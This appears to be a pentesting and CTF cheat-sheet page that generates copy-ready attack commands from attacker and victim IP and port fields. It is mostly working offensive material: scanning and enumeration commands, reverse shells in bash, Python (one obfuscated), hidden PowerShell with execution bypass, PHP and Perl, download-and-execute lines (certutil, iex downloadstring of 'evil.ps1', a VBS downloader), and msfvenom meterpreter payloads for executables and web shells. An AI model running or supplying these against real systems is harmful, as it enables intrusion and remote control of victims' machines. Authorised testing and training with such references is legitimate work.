High Usage Commands for Pentesting

An interactive site for most used commands in pentesting / CTF.


LHOST: LPORT:

RHOST: RPORT:

Please enter your connection info. All information will only be stored client side to generate ready-to-copy commands.
The button above each commands copies the command to your clipboard.

LHOST = Local Host = IP of the attacking (you) computer.
LPORT = Local Port = Port on attacking (you) computer to connect to.
RHOST = Remote Host = IP of the victim computer.
RPORT = Remote Port = Port on victim computer to connect to.

Nmap

 nmap -sV -O --top-ports 50 --open -oA nmap/initial  

 nmap -sC -sV -O --open -p- -oA nmap/full  

 nmap -sU -p- -oA nmap/udp 

Nmap Services
 nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21  

 nmap –script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25  

 nmap -sV -Pn -vv   -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 

 nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER  

 nmap --script smb-enum-shares -p139,445  


Web

 gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,py -o webscan/gobuster-extensions 

 nikto -Format txt -o webscan/nikto-initial -host http:// -p  


SMB

 smbclient -L  

 /usr/share/doc/python3-impacket/examples/smbclient.py ""@ 

 smbmap -H  

 enum4linx -A  

 nmap --script smb-enum-shares -p139,445  

Spawn TTY
 python -c 'import pty; pty.spawn("/bin/sh")' 

 #In reverse shell 
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
#In Attacker console
stty -a
stty raw -echo
fg
#In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 83 columns 40 

 echo os.system('/bin/bash') 

 perl —e 'exec "/bin/sh";' 


Python

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

 C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(("",, [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"  


Bash

 bash -i >& /dev/tcp// 0>&1  

 sh -i >& /dev/udp// 0>&1 


PowerShell

 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

Click more more PowerShell
 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 


PHP

 php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");'  

Click more more PHP
 php -r '$sock=fsockopen("",);shell_exec("/bin/sh -i <&3 >&3 2>&3");'  

 php -r '$sock=fsockopen("",);`/bin/sh -i <&3 >&3 2>&3`;'  

 php -r '$sock=fsockopen("",);system("/bin/sh -i <&3 >&3 2>&3");'  

 php -r '$sock=fsockopen("",);passthru("/bin/sh -i <&3 >&3 2>&3");'  

 php -r '$sock=fsockopen("",);popen("/bin/sh -i <&3 >&3 2>&3", "r");'  


Perl

 perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

Click more more Perl
 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,":");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 

 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,":");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 


NetCat

 nc -lvnp  > filename 

 nc -w 3   < filename 


Python Modules

 python -m SimpleHTTPserver  

 python3 -m http.server  

 python3 -m pyftpdlib -p  


Windows

 Invoke-WebRequest -Uri http://:/file -OutFile PathToFile 

 certutil.exe -urlcache -split -f "http:///file.exe" file.exe 

 iex(new-object net.webclient).downloadstring("http:///evil.ps1) 


VBS

Creates a file called wget.vbs in current dir. Usage: cscript wget.vbs http://:/yourfile.exe yourfile.exe

 echo strUrl = WScript.Arguments.Item(0) > wget.vbs && echo StrFile = WScript.Arguments.Item(1) >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs && echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs && echo Err.Clear >> wget.vbs && echo Set http = Nothing >> wget.vbs && echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs && echo http.Open "GET",strURL,False >> wget.vbs && echo http.Send >> wget.vbs && echo varByteArray = http.ResponseBody >> wget.vbs && echo Set http = Nothing >> wget.vbs && echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs && echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs && echo strData = "" >> wget.vbs && echo strBuffer = "" >> wget.vbs && echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs && echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs && echo Next >> wget.vbs && echo ts.Close >> wget.vbs 

Binaries

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf 

 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 


Web

 msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php 

 cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php 

 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp 

 msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp 

 msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war 


Scripts

 msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py 

 msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh 

 msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl 


Shellcode

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f python 

 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f python